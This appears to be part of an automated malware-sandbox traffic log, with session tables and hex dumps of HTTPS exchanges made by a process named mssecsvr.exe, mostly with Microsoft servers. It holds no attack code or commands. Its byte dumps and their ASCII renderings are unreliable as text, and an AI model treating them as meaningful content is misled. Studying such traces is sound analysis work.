2022-07-20 07:08:24 UTC	4717	IN	Data Raw: 66 e5 7a c9 ca 78 ff 00 86 fa 79 eb ed bd 3c b9 bc 82 40 1d 16 68 b0 f3 5a 59 1a cc 77 11 da ad c0 4c 9c af 16 25 e0 5b e4 4f b1 bf ad f1 64 87 54 cb ae e6 a3 a9 fc c3 f0 58 8d 0c 8a 59 ed a5 df 5b 2f 35 35 e9 e5 ee b8 2d b9 58 b9 45 1f 50 53 26 16 61 0a 39 f2 04 02 de 22 64 11 37 21 7b d2 6f e4 6f 6b cd b2 4d b9 f3 f2 c7 90 22 50 de 9a d2 74 de 9a 71 c0 06 65 2a 18 29 0d 75 e6 5d cb a3 bb 7b 73 97 a9 bb 85 64 be 6a 91 00 9d 6a 76 4c 31 08 ad 24 28 0d 7c b7 05 9f 5c b5 a3 ab d7 e5 f7 0c ec 1b d3 d5 71 b1 0d 0d 79 73 c6 ff 00 7e 35 77 5f b2 d1 6b 67 a5 15 bf cb cb 50 41 f9 b9 31 bc b7 12 dc 9a 9a 9a 8a 54 ef 22 aa 7e de b5 b6 7a b7 f5 00 cf a4 e1 ba 86 e3 51 11 0a 86 7a 2e d9 0d d2 73 38 ec e2 fd 4d 25 96 5a 12 61 1d 62 59 f1 bc 04 0b 7b 76 10 ca 4d 3b d2 Data Ascii: fzxy<@hZYwL%[OdTXY[/55-XEPS&a9"d7!{ookM"Ptqe*)u]{sdjjvL1$(\|\qys~5w_kgPA1T"~zQz.s8M%ZabY{vM;
2022-07-20 07:08:24 UTC	4733	IN	Data Raw: 57 33 cd e6 49 7e 2c 9d ce 6f 2f 51 6d 76 fe 67 ee 7a ff 00 c6 64 15 d2 ba 94 e4 e2 96 53 c8 c6 67 57 60 0d c1 26 0f 17 2a 6f e1 64 be e7 dc d2 ad a2 55 bf 97 5b 7e df f7 06 83 b1 32 70 ba 56 5c 12 0c 87 9b 9b 58 25 47 a0 b1 24 6f 13 98 ec fc 0a f2 a4 91 fd fd 3c 5b d5 a7 d3 93 cc 5b 40 3d 66 21 d7 25 c7 86 69 50 4c 44 b1 5d e4 94 c6 62 e4 dc dc 17 cf 15 fc a9 38 1d f7 34 db 89 b7 af fc 04 16 dd 2b 3e 1f 99 3a 76 47 4e 06 86 32 cb 53 b0 28 91 e4 48 9f f9 12 c3 8a fa e9 a2 e8 8f a7 5f fb 60 ca ce 9b d4 25 c7 c3 32 c6 7c 42 40 db e8 b2 c5 2f df e0 d7 8f 2e 97 80 ab 80 ee af 92 87 19 43 00 d9 2f 28 62 c4 6f 14 88 3c 76 bf ea 7e de ba 5e 45 c7 5f e2 f2 2f 90 4f 4e cc 6e b5 95 8d 9e 08 45 45 92 36 1f c6 47 c7 82 5f 52 f8 6c d7 6d 2e db d4 4e d2 64 53 3a 0f 8f Data Ascii: W3I~,o/QmvgzdSgW`&*odU[~2pV\X%G$o<[[@=f!%iPLD]b84+>:vGN2S(H_`%2\|B@/.C/(bo<v~^E_/ONnEE6G_Rlm.NdS:
2022-07-20 07:08:24 UTC	4739	IN	Data Raw: d0 d6 87 b1 b6 6f 2b 7d a5 d5 ab f1 d8 44 c6 08 e5 8e b5 1c cd a4 d7 ca 3b 9a 7c 93 5f 5c a8 02 68 ec 91 6b d8 0d 2b f4 0d 42 72 10 14 b0 c7 19 01 c8 05 81 50 df 4f 14 8a bf 67 44 f2 fb a1 03 51 23 24 33 8a 6c 1b 7e 8d 42 91 12 a7 4f 85 0a d8 a0 03 41 fa 76 dd 6f ab ad 15 9b 68 ae 27 24 c2 49 64 75 24 00 a7 61 5e cf e8 ba 1b 86 10 4d 36 10 75 bd 94 06 49 08 3e a9 55 68 e5 4f 3a 36 d6 d6 a2 55 fd ff 00 fd 77 14 0a 15 41 1a 32 1d bd ef 5b ff 00 2e b0 b6 d2 86 49 24 e0 d1 80 a3 ae c3 4f 2f 76 ff 00 ed a6 95 ac be c8 1d 7c ea a8 28 02 fd 7e 4d 87 49 b7 a0 e4 8b e2 af 8d a5 a8 36 db fa d7 7f 63 42 c4 da 76 f9 05 c8 67 fa b7 2c ee 9a 00 3f af 68 e2 d5 51 b4 29 20 3d 6c 8d a0 d2 87 b3 eb 3d ed 52 ad 85 c8 0f 27 ac 98 a6 7e dd bb 47 f5 ef 5b ad 3d ae 5a a0 e4 0f Data Ascii: o+}D;\|_\hk+BrPOgDQ#$3l~BOAvoh'$Idu$a^M6uI>UhO:6UwA2[.I$O/v\|(~MI6cBvg,?hQ) =l=R'~G[=Z
2022-07-20 07:08:24 UTC	4755	IN	Data Raw: 91 f4 0d 4f b0 90 86 bf 52 90 d5 7c b4 14 d3 58 90 13 c5 d4 e5 40 40 24 d6 95 fa 77 75 0f 12 63 14 5d 45 da 4b ab 52 36 d3 cb d9 ba da 4f 12 48 08 db ab 48 09 a1 dd fa f5 4b 0a 02 29 72 da 45 52 c7 67 6f e8 d5 aa 40 86 ac 8c 58 dc a4 81 f4 69 b4 04 e0 16 17 39 ff 00 ec fd ed 67 fd 83 08 8b 11 e4 02 d0 76 f6 1f ab 50 ee 90 0c 4c 0b 40 7b bb 6a 68 46 c2 3d 1d 37 93 c0 70 32 78 77 c0 4d b5 34 00 56 bf 77 55 47 23 82 66 c7 6c 42 d0 cc f1 19 81 35 50 58 91 4e e3 49 cb e4 df e8 a4 ba ab d2 05 04 a9 89 7c 57 35 56 f5 fb bb 75 ce ef 0f ec 8a 09 24 cb 61 18 e7 02 4d 2c 63 f4 b5 5d 92 4e ef 73 47 14 fc a3 24 e5 3a aa b0 5f 08 11 46 1d de f7 d8 f3 35 1b 82 40 e6 53 24 cb 0a a5 5e 47 dd 1d b5 2d dd 5b bf 11 f5 ad 31 b7 b1 68 25 8a 1b e3 75 31 cc a2 85 5b b6 ee f6 ee Data Ascii: OR\|X@@$wuc]EKR6OHHK)rERgo@Xi9gvPL@{jhF=7p2xwM4VwUG#flB5PXNI\|W5Vu$aM,c]NsG$:_F5@S$^G-[1h%u1[
2022-07-20 07:08:24 UTC	4771	IN	Data Raw: 4c 4d 7e 92 08 ba 7c 92 53 9d 01 0c 9b 56 e2 cc 47 a5 74 97 ea 60 b5 60 d6 e9 b9 56 8a ba 28 f5 49 3f f3 74 b9 02 86 40 3a 46 79 6a a4 ca a0 79 44 00 d3 fc 47 d4 f2 93 49 4b fd e2 db 03 16 48 97 c6 c8 79 1f e9 0a b1 81 f6 6c d5 55 11 7b 7e 82 7c a9 10 21 50 f3 31 3e 68 2d ff 00 a7 66 b6 39 c0 48 7d 8e 24 74 03 b4 b1 44 3f 7b 97 cc fb 3a 99 2c 73 65 45 65 a7 30 7d 64 d1 dc 0f 37 72 2b 35 72 4c 7e 80 37 ea fd 3b 15 cb 7c 4c b2 02 38 45 55 47 ea 45 1e 89 06 99 11 f9 97 15 93 72 31 4f 2b dc 3f e6 40 92 7e d2 69 8b 88 14 1f 35 47 13 7f 94 8d 69 e5 60 84 b1 fe 6c b2 6f 69 c0 a0 95 ba cf 51 c9 da 15 85 7b c4 aa fe ed bf e2 e8 e2 82 4e 1e 9f 34 db d3 bb 31 fa 28 d2 ff 00 f6 af d7 d0 49 22 f4 d4 4f 6b b7 67 bc 61 b2 9f fd 4b 8b e2 7d f9 74 c4 2f 89 44 16 c4 f5 f4 Data Ascii: LM~\|SVGt``V(I?t@:FyjyDGIKHylU{~\|!P1>h-f9H}$tD?{:,seEe0}d7r+5rL~7;\|L8EUGEr1O+?@~i5Gi`loiQ{N41(I"OkgaK}t/D
2022-07-20 07:08:24 UTC	4778	IN	Data Raw: dc bb 41 7b 2b 7b 56 46 bf 8b cc f7 9a 8a cc 6a 4d 54 bd 48 7a f7 4b 6e a3 8b 1e 4e 5c 9c cb 94 31 29 20 60 8c ff 00 81 1d d6 f2 9f d0 8f f2 df 83 5a a4 45 99 92 9b a7 c3 d2 84 93 18 9b 21 ad a2 07 dd 48 c9 f7 f2 c6 9b f3 59 ee d3 72 3f c4 d4 dd 3b 69 3c 4c e6 4d 07 cb 8e b8 38 bf 1f d5 f2 9b 1d 1c d2 08 e2 0b cd 7b 7b ca b1 fb 0d ef 79 36 b9 6d 89 4f 25 d3 fb f7 3a 29 5d 0d a6 56 76 26 64 83 03 a8 8b 27 0a 8e 18 d3 75 db d8 c5 91 2a 72 e2 87 37 73 8d 3c 17 f6 72 68 76 56 d1 9c d6 5f 02 a3 2f 3b 16 76 9a 1c 8b d6 12 f6 64 23 a5 89 24 94 f7 8b 25 ff 00 07 99 f8 19 7f f4 f9 5e 7e a5 e9 f4 fa 70 c8 40 07 4c e9 eb f2 cb 8e b1 85 3b 1c 39 6a 95 94 52 cd bb b0 49 c8 f8 89 79 de 1f 1d 9c 9b 35 55 b6 93 53 7a 3f 03 42 bf 34 cd d7 f0 65 8f 01 91 e6 25 bc 32 1a 8c Data Ascii: A{+{VFjMTHzKnN\1) `ZE!HYr?;i<LM8{{y6mO%:)]Vv&d'u*r7s<rhvV_/;vd#$%^~p@L;9jRIy5USz?B4e%2
2022-07-20 07:08:24 UTC	4794	IN	Data Raw: 9f 4e 80 38 23 b8 d0 76 e8 00 91 16 ed b4 1e b5 35 00 3c 44 ea 2d e2 fe ad 1a 00 f7 c4 68 d6 f7 a6 df a3 49 5a 76 10 d5 88 df 5a 6c d0 d8 13 45 8e 92 b5 b2 d6 9f 4e a5 b6 b6 01 d1 74 a5 ad 08 27 4a d9 44 d8 51 c3 0a 29 68 20 6c d7 3f b8 29 1a 9d 38 6e 96 1b 0f 93 b3 4d e7 17 23 8f d2 61 66 05 97 6d 35 3f d4 58 5c c3 55 37 42 10 28 00 03 f4 0d 73 bb 4e a4 36 70 e3 25 a4 11 5d 1c d8 86 b6 25 08 d8 02 9f f7 69 ab 8e 47 7c 0b 37 67 6e 8f 76 04 4c b8 41 86 d6 a1 03 b3 50 f2 c0 08 e0 2b 30 24 9a 0f a3 42 c8 c6 4e dd 3d 14 54 d7 f4 6b 3f 71 88 5f 0c 91 ad c3 b7 ff 00 0d 1c db 11 1b 3d 3b 3b 74 d2 01 82 5b 6b 53 aa 89 02 36 cc 55 60 07 6e ab 83 1c 05 c2 f7 6f 76 8d 46 c1 01 5c e0 37 08 a7 d4 74 13 03 1a 54 89 41 a8 24 f9 35 5b 8e 01 b9 ad 75 d4 dd f2 6a d2 2a 07 Data Ascii: N8#v5<D-hIZvZlENt'JDQ)h l?)8nM#afm5?X\U7B(sN6p%]%iG\|7gnvLAP+0$BN=Tk?q_=;;t[kS6U`novF\7tTA$5[uj*
2022-07-20 07:08:24 UTC	4810	IN	Data Raw: 0f 41 9d 44 b1 ba cc a7 be d2 13 f7 b7 a3 b7 55 25 3a b4 2f f4 7e 8d 9d 77 c3 51 d8 6c 25 58 4b 4f be d2 69 6a 26 be 27 71 fe 56 e9 f8 e4 1e 51 6a 79 e4 b0 fb bb ab a6 db 26 0a 5f 9c fa 1e 27 fa 74 f9 18 b1 05 91 2d 26 84 8a 0b 96 ff 00 0d 8d ba ce ce 11 50 79 63 1a 6b 31 1d 45 24 e8 60 10 aa 75 94 96 4c 12 d1 aa ab 28 69 1f 47 93 5d 08 91 97 9e c3 d9 aa 81 48 d1 2d cd 45 d3 81 48 6a b8 51 45 d6 65 8c 94 dc 6a 0e a9 09 91 9c 98 e2 1b c7 55 04 49 03 f5 88 e5 21 17 b3 eb d2 75 80 e4 03 24 c5 a4 36 9d 84 e8 80 91 0a 9d 02 0c 7c 0c 94 5b ac 3d 95 fe 8b a5 02 e4 0b 10 69 41 a0 26 9f 46 9c 04 92 88 1d c6 e2 b1 fe ad 10 29 1b f0 19 1b 69 1b 92 3d 13 a7 02 92 17 83 21 37 5e 36 0d f4 5a 74 40 49 18 c4 9f ca ac 3f a8 e9 81 32 f4 dc e3 c1 13 ff 00 b0 e9 c0 87 43 06 Data Ascii: ADU%:/~wQl%XKOij&'qVQjy&_'t-&Pyck1E$`uL(iG]H-EHjQEejUI!u$6\|[=iA&F)i=!7^6Zt@I?2C
2022-07-20 07:08:24 UTC	4818	IN	Data Raw: 3e f5 d0 33 b7 0d 20 16 ee 80 3a 2d a6 80 10 65 4e 1d 95 d3 dc 42 02 39 36 11 b7 48 06 3c 01 7b 06 80 2a 3a d7 40 c1 eb 49 66 62 6f 81 bb 22 ec 91 7e d7 bc 4f cb 97 4d 68 0d 49 e6 dd 77 e4 ec ae 86 79 e2 93 e3 54 52 45 1d 9e 8e 44 7e e7 fe 5f e6 6a f9 49 93 ac 15 13 65 91 b4 0a 13 fe ed 4a a1 2c 76 3f 52 91 63 e4 5c 6c 3e 4a f6 53 79 35 36 c4 a7 90 87 c7 98 e1 82 c9 b5 7e 83 a4 f1 af 00 0e 13 b1 88 3e 3b 1b 86 da 1d 61 c7 58 b0 89 7e 20 ce aa cd db 4d bf 51 ef 6a 38 f1 24 92 06 04 98 fc 84 53 f4 7a ba 9b 2f 12 42 1a 46 55 50 c4 9a 76 6b 34 84 34 4e 3b 6b a7 c4 0e c1 2a f3 09 5b aa 06 d0 7b 3c dd 2b 57 40 1f 7d 0d 17 b7 e8 d2 80 12 ce ce e6 3a 1a 8f 2e 8e 30 a4 06 c6 ca f2 18 8b 51 82 16 1f d5 dd d5 46 92 00 f2 cc ca d7 d7 e8 d5 aa c9 44 c3 2d a3 3b 0d 4e Data Ascii: >3 :-eNB96H<{:@Ifbo"~OMhIwyTRED~_jIeJ,v?Rc\l>JSy56~>;aX~ MQj8$Sz/BFUPvk44N;k[{<+W@}:.0QFD-;N

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49741	23.211.4.86	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:11 UTC	57	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2022-07-20 07:07:11 UTC	57	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0X+CoYgAAAABsyucjsyDyTpCfu6p8rx6gTE9OMjFFREdFMTUwNwBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=230420 Date: Wed, 20 Jul 2022 07:07:11 GMT Content-Length: 55 Connection: close X-CID: 2
2022-07-20 07:07:11 UTC	58	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.6	50721	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:24 UTC	352	OUT	GET /cms/api/am/imageFileData/RE4IeAK?ver=e722 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 07:08:24 UTC	369	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4IeAK?ver=e722 Last-Modified: Sun, 10 Jul 2022 10:58:20 GMT X-Source-Length: 739467 X-Datacenter: northeu X-ActivityId: b6431dae-0978-465a-9598-e58499a1816f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 739467 Cache-Control: public, max-age=359474 Expires: Sun, 24 Jul 2022 10:59:38 GMT Date: Wed, 20 Jul 2022 07:08:24 GMT Connection: close
2022-07-20 07:08:24 UTC	370	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC8"}!1AQa"q2
2022-07-20 07:08:24 UTC	420	IN	Data Raw: 7f f6 d3 f8 9a b1 75 2f 0c ea 37 16 f1 00 ab bd bf d6 45 fc 35 e7 4b 10 ab 2e 56 ec 8e e8 d1 f6 7a ad 4c fb cd 63 ed 8a ce 7f 7f 2c 9f 2e d6 fb bb 6b 8e b8 42 66 6c ae d6 fe ed 7a 67 85 fe 1a 5c 5f dc 79 b7 33 b2 da c4 a3 e5 db b5 99 bd 3e 95 d7 eb 9e 1e d1 2d ec 76 3d b4 0a aa a7 ee af cd f9 d4 7d 6e 95 19 72 47 51 bc 3d 4a ab 9a 5a 1e 06 b1 9d d8 a4 78 7c b6 c5 74 d7 5a 7c 77 f7 53 cb 12 fd 9a 25 f9 57 75 63 cd 62 21 93 1b f7 57 a9 1a 8a 5e a7 04 a0 e2 50 f2 e9 e9 19 65 cf f0 d6 8a a5 ba 47 bd fe f7 dd db 55 5c 86 6e 3e ed 68 a5 72 2d 62 05 4a 5d b5 2d 2a 8a 77 11 1d 1e 5d 48 a2 95 56 8b 80 c5 4a 91 52 ae 69 3a 5d ce b1 7d 15 9d 9c 5e 6d c4 ad b5 57 fc 7d ab d6 ac 3f 67 f2 f6 e8 d7 7a 83 2c ac bf 76 35 1b 55 ab 86 be 2a 95 07 ef b3 a6 95 09 d5 d6 08 f1 Data Ascii: u/7E5K.VzLc,.kBflzg\_y3>-v=}nrGQ=JZx\|tZ\|wS%Wucb!W^PeGU\n>hr-bJ]-w]HVJRi:]}^mW}?gz,v5U
2022-07-20 07:08:24 UTC	436	IN	Data Raw: fb d3 b6 ef d3 a5 42 1a 35 fe 2a 21 d2 6e 24 93 03 6a ff 00 c0 aa da 68 25 38 96 5d ad fe cd 64 ea 45 6e cb 2b fe e2 45 fb df 35 58 8e 37 8d 97 c9 89 99 bf bd f7 a8 fb 0d b2 6e 02 29 25 ff 00 77 f8 aa 68 de 48 77 79 56 7b 7f de 6a c1 d4 ec 51 5d ac ee 26 6e 57 6e ef ef 35 3d 34 7b af f6 57 fe 05 56 ed da e6 6f 9f f7 6a bf dd 55 ef 48 d6 d3 24 6c f3 b3 33 7f 75 57 e6 6a 8f 68 f6 1d ae 42 9a 59 f9 4c b7 2c a9 ff 00 4c d6 ac a5 8e 9d 0a f2 b2 4b bb f8 a4 ff 00 0a 83 6a 6d 5c fc ab b7 ee b3 53 26 bc 31 ed f2 15 bb 7c cb 9f 9a a1 b9 3e a2 b1 72 dd ad 95 97 c8 89 57 77 f1 6d a6 49 75 6f 6f 26 64 97 76 df e1 fb df ca a8 49 2c 97 32 63 77 c9 fe f7 dd a4 54 4b 7b 76 94 ab 2a 2b 7e f2 46 f9 55 5a 93 5d 5b 02 d3 6b d1 be e1 1c 5f 36 ef fc 76 a8 dd 78 b2 2d 25 a2 49 Data Ascii: B5!n$jh%8]dEn+E5X7n)%whHwyV{jQ]&nWn5=4{WVojUH$l3uWjhBYL,LKjm\S&1\|>rWwmIuoo&dvI,2cwTK{v+~FUZ][k_6vx-%I
2022-07-20 07:08:24 UTC	474	IN	Data Raw: c6 b5 70 95 ad 0d c0 55 cd 7c dd 46 db bb 67 b9 14 a2 ac 90 d7 b5 0b 26 5d 57 75 32 ea da 39 23 c5 49 25 d0 6a ac d7 03 77 fb d5 0a e5 69 d4 e6 b5 4d 14 b4 d9 8f e5 fe f3 56 3d e7 87 ec db 71 7f de ca df ed 57 69 70 be 63 62 b2 ee ac c2 c6 db 17 e6 ae ea 75 a5 1b 6a 72 ce 9c 5f 43 83 b9 d2 63 45 c4 7f 2b d5 1b 8b 37 b7 5c 97 ae 8a e2 c6 45 ba c0 6d b5 9b 7f 19 6e b5 ec 53 aa db 4a e7 99 52 9a 49 bb 19 6a af d4 7d da 37 3d 5f 86 df cc e0 fd da 1e 18 d5 b1 5d 1c ea f6 39 f9 5d ae 52 48 cb 37 f7 a8 78 4f 75 e6 af 46 a9 6c cc 7f 85 aa 75 b8 83 af 7a 97 37 7d 11 4a 0a da b3 32 1d 36 59 97 85 a7 4d a7 9b 75 e5 b7 35 6c db 5e 41 0b 6f 35 15 c3 c1 72 d9 46 db 51 ed 66 de da 17 ec e1 6d f5 31 24 b7 d9 49 b3 6f 5a bc e9 1a f1 f7 aa 26 84 57 42 91 ce e3 d8 a9 b2 8d Data Ascii: pU\|Fg&]Wu29#I%jwiMV=qWipcbujr_CcE+7\EmnSJRIj}7=_]9]RH7xOuFluz7}J26YMu5l^Ao5rFQfm1$IoZ&WB
2022-07-20 07:08:24 UTC	522	IN	Data Raw: 5f 64 de a7 69 e2 4b f8 f5 25 d4 e0 96 25 67 f2 04 70 6d de be 5e 4a 11 37 f7 73 d8 fd 69 35 54 bf 5d 42 c7 53 d4 2d a3 83 49 f2 de da c5 74 69 e3 dd f2 fc 80 ec 7c b6 c6 1f 31 fa 93 9e d5 c1 e9 fe 22 96 eb 47 8b 54 f3 d6 5b a8 25 32 49 1a c9 b5 b6 76 19 3f c2 7b e3 9f ce b0 24 f1 64 ab 75 3d ce 9f 02 e9 f0 46 b2 2c 71 b4 7f 3b 2b 75 8f 73 74 f5 dd 5f 39 1a 75 ea 4e 72 9e ad be bf d6 dd 8d 63 a2 37 a3 f1 0c fa 2e 83 02 45 14 6b 74 ac eb e6 b7 ca bc e4 f9 6e dc 65 c0 f9 b7 73 91 b5 71 c5 5e d2 7c 51 6e 9a a2 dc ce df 6e 69 67 7d b6 2c a7 6c 71 81 b7 e5 ce 42 ee 39 c6 7e b5 8b a7 f8 8b 4e b7 d6 a0 8c 59 db 5f 4f 02 ed fb 4c ea 51 99 f0 3a f2 47 5e 33 dc 2f bd 6e db 6a 96 fa c6 9f 6d 6f 6f 15 8c 17 b0 4f 34 9e 7f c9 13 cd 19 1f 32 c9 9c a8 51 fc 2d 9c f6 c5 Data Ascii: _diK%%gpm^J7si5T]BS-Iti\|1"GT[%2Iv?{$du=F,q;+ust_9uNrc7.Ektnesq^\|Qnnig},lqB9~NY_OLQ:G^3/njmooO42Q-
2022-07-20 07:08:24 UTC	601	IN	Data Raw: c6 03 fe 11 1d 3e 58 ac f6 ea 91 48 1a 5b 99 14 af 96 0e 17 86 e8 bb be 5c e3 3e b8 15 85 68 3f 66 a6 a3 be 9a 95 6e 86 a7 86 ec 2e 12 68 ae 6f 6f 19 ac d9 7c df b4 b3 79 aa d1 e4 83 22 9d a4 af cd c0 c0 c8 eb 4e b7 f1 3c ed a8 34 1a 73 34 ba 5d b4 89 1c 97 3f 22 ac d2 17 f9 0a ee e7 76 3a 7c c3 3d 4d 50 b9 f1 67 89 f5 5b 8b ef b3 c0 ba 2a 41 1c f0 2f d9 ae 7c a8 23 63 f3 37 98 ec 08 6c a8 38 e8 5b 3d 6b 98 f0 0f 8b a0 f0 cc 76 3e 5c b1 dc db fd b7 ed 72 5a 5d c0 92 45 0b 0e 18 85 72 55 9d a3 3b 77 32 71 fc 35 e7 52 c3 ca a2 95 5a a9 24 f6 b6 a6 bc ab 64 7a 7e a4 d0 c9 aa 5b 1d 55 bf b2 af 23 96 49 56 58 19 dd 39 e4 34 8b d1 14 c9 9c b2 fe b5 85 e1 3f ec eb 3d 43 55 bc d7 75 38 75 0d d6 cf 22 da 5b 7f cb c6 41 c4 68 e3 2b 1b 29 da c4 e7 e5 db 8e 77 56 05 Data Ascii: >XH[\>h?fn.hoo\|y"N<4s4]?"v:\|=MPg[*A/\|#c7l8[=kv>\rZ]ErU;w2q5RZ$dz~[U#IVX94?=CUu8u"[Ah+)wV
2022-07-20 07:08:24 UTC	662	IN	Data Raw: b4 e7 bc 1d 07 cd bb 2c ac ad b7 e5 f4 ad 45 d7 43 d1 74 5b 6b 2b fd 36 0b 79 db ec d7 5b 8f cb 23 7c 91 a0 c3 02 31 d4 1f 99 6b 6f 56 bc b7 d2 7c 40 d7 32 34 6b 6f 24 11 ac 4c bf 32 ed c0 d9 81 d3 77 15 e5 b6 f2 5c 4d b7 ca 9f 6a c4 a2 48 d6 46 3f bb 5f 41 eb c9 e9 57 b5 ad 52 ce e2 1b 18 22 83 e7 82 31 ba 49 1b e7 99 ba b0 60 b8 18 cf dd ef 8e f5 e3 55 c1 7b 49 dd c9 db 5f c4 db 95 d8 ed bc 4d e2 08 2e 6c e7 b6 dd e6 79 7e 5f 90 db 76 3a b6 41 90 b6 3e f7 1f 28 3f 4a e1 ee ae a3 9a 69 6e 7c f6 54 dc 9b 63 58 f6 fd 47 d0 7a 9a a5 f6 8f 33 50 82 79 e0 dd 66 cc 3c c8 15 bc ad ca 06 71 b8 74 aa f1 c6 7c cc 49 2b 2a 37 de dd f3 37 e4 2b ae 8e 16 34 63 68 89 2e 8c d4 fb 64 b2 5b ea 13 a4 b1 c0 b2 6c 8e 48 15 b7 33 29 3c 0c 7f 10 05 43 1f 4f 96 a2 86 e5 e1 91 Data Ascii: ,ECt[k+6y[#\|1koV\|@24ko$L2w\MjHF?_AWR"1I`U{I_M.ly~_v:A>(?Jin\|TcXGz3Pyf<qt\|I+*77+4ch.d[lH3)<CO
2022-07-20 07:08:24 UTC	750	IN	Data Raw: a9 1f 2e 4f 4c f6 f6 a2 34 d4 9b 95 c6 bd e3 c3 f4 bf 33 ec bf 64 46 f9 64 cb 2a db 67 b1 eb b4 0e 4d 3a d6 c5 23 b7 6b b9 7e d3 05 ba b1 48 db 6f cb 23 83 83 86 f6 aa 7a e6 93 ae e8 ac b6 f7 76 d3 d9 b4 6d fe af fd a1 fd dc 73 8a aa 8d ac aa db 46 20 9d a2 fb d1 c6 d0 7c 8d eb d4 73 f8 d5 f2 26 af 71 68 ce ad 6c 6c ec a1 bc 9d fc f5 ba 8e 22 d1 b3 48 7e 67 1c e1 81 23 af d2 93 54 68 d2 38 1e e2 79 27 b0 91 43 7d 93 ef 7c e7 a9 fc fa 57 3f 6d f6 9d 51 5a 19 2c fe cd 2b 36 e5 b9 6f 33 76 d1 fc 1e 9f 8d 2b 78 77 51 d5 2d 55 ec a5 92 e5 63 5f f5 7c ee 5f 5c 7f 85 63 c9 15 ac 98 68 91 7e de eb 4e 49 95 2d e0 f2 15 5b 6a aa e1 5d 9b e8 6a c5 fd c4 ad 0b 0f b1 ee b7 5f bb b6 41 b7 ea 6b 2e 1d 2b 55 45 fb 1d bc 51 c0 ec bf bc 5b 96 1f 77 d7 e6 fb a7 bd 66 af 99 Data Ascii: .OL43dFd*gM:#k~Ho#zvmsF \|s&qhll"H~g#Th8y'C}\|W?mQZ,+6o3v+xwQ-Uc_\|_\ch~NI-[j]j_Ak.+UEQ[wf
2022-07-20 07:08:24 UTC	782	IN	Data Raw: c3 67 b3 1e dc 66 ba 8d 27 54 83 50 bc 9e 7d 53 c4 77 7a 64 b7 98 f3 24 82 03 15 b4 6d 9f 94 6e fb a4 1f ee 8e 8d cd 74 e2 fe b3 24 a6 a4 ac b5 d1 37 f8 5f 52 b9 7a 91 f8 cb c2 76 5a 1e 8b 2d fc 16 8b a9 5e cf 8b 4b b9 35 05 2f 2c 72 36 7f 7c 9c 60 6e 3d 3d 06 3d 6b 33 c2 7f 06 f5 9b cd 63 4c 4d 5e c6 fb c3 9a 5c 99 97 ed 73 da 49 be 4d bf c2 80 29 6d df 51 c2 f3 5e a7 e1 7d 0f 4c d0 75 4b 9b fd 3e fa 4d 42 2d 4d 9e d1 6d 9a d8 df 45 23 02 18 0f 37 f8 b0 c3 3b 80 eb f4 ad 1d 53 5c 33 5c 7f 67 ea f7 3a cf f6 94 57 7f 34 fa 4c 6e cf 34 80 7c 91 e5 86 dd e5 77 63 07 18 56 af 33 fb 43 11 67 4a 9e ba 6f 6d 7e ed b4 25 44 f1 9f 10 7c 3b 83 4d f1 d4 5a 45 c6 a1 fd 8a b2 37 ef 6e ee e3 99 d7 73 7c e3 62 80 59 86 dc 0c fe b5 d8 58 f8 e6 cf 4d b1 97 fb 0f 4c d2 f5 Data Ascii: gf'TP}Swzd$mnt$7_RzvZ-^K5/,r6\|`n===k3cLM^\sIM)mQ^}LuK>MB-MmE#7;S\3\g:W4Ln4\|wcV3CgJom~%D\|;MZE7ns\|bYXML
